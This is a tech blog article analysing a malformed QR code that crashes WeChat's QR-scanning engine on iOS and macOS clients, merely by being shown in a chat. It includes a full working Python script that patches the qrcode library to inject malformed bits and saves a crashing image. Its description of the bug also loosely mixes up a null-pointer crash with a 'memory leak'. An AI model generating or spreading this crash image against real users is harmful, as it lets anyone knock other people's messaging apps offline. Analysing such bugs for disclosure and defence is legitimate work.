Information Security 8 min read

WeChat Crash via Malformed QR Code: Technical Analysis and Reproduction

Researchers discovered that a specially crafted QR code triggers a memory leak in WeChat’s OCR engine, causing the app to crash on both mobile and desktop platforms; the article explains the underlying bug, provides detailed decoding analysis, and shares Python code to reproduce the malformed QR code.

IT Services Circle
IT Services Circle
IT Services Circle
WeChat Crash via Malformed QR Code: Technical Analysis and Reproduction

Introduction: a QR code circulating online causes WeChat to crash instantly when scanned or even when simply displayed in chat.

Observations: The crash occurs on iOS and macOS WeChat clients, while Windows version remains stable. The error message suggests a runtime exception and prompts an update.

Root cause analysis: The QR code triggers the WeChat QR engine, which automatically scans chat lists. The engine encounters a null‑pointer exception due to malformed data, leading to a memory leak and crash of the entire client. The same engine is used in other Tencent apps.

Technical details: The problematic QR code is a “malformed QR code” whose data blocks contain illegal patterns. Decoding the bitstream shows missing padding, an unexpected Alphanumeric mode with a character count of 313, and a final 8‑bit block that reads an invisible byte (\x9F). This causes the decoder to overrun.

OpenCV connection: The QR engine was open‑sourced in 2021 and merged into OpenCV (https://github.com/WeChatCV). The library’s libqbar.so crashes when processing the malformed data.

Reproduction code: The article provides a Python script using the qrcode library to generate a QR code that reproduces the crash. The script overrides the BitBuffer.put method to inject custom bits and saves the image as "crash.png".

import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]

def tencent_crash_qrcode(message: str, filename='crash.png'):
    def hack_put(self, num, length):
        if num == 0:
            num = 1
        for i in range(length):
            self.put_bit(((num >> (length - i - 1)) & 1) == 1)

    data = message.encode('utf-8')
    data_len = len(data)

    version = 1
    while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
        version += 1
    if version > len(NUM_BLOCKS):
        raise Exception('message too long')

    data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)

    qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)

    comm_data = QRData(data, MODE_8BIT_BYTE)
    hack_data = QRData(b'', MODE_8BIT_BYTE)

    qr.add_data(comm_data, 0)
    qr.add_data(hack_data, 0)

    original_put = qrcode.util.BitBuffer.put
    qrcode.util.BitBuffer.put = hack_put
    qr.make_image().save(filename)
    qrcode.util.BitBuffer.put = original_put

tencent_crash_qrcode('KFCVW50')

Additional observations: The same issue affected a broader Tencent outage on March 29, leading to a company‑level incident and regulatory scrutiny.

Conclusion: By crafting a QR code that fills the data capacity without padding and injects an out‑of‑bounds length field, the WeChat QR engine can be forced to crash, highlighting a critical security flaw in the OCR implementation.

PythonQR codeopencvWeChatSecurity Vulnerabilitycrash bug
IT Services Circle
Written by

IT Services Circle

Delivering cutting-edge internet insights and practical learning resources. We're a passionate and principled IT media platform.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.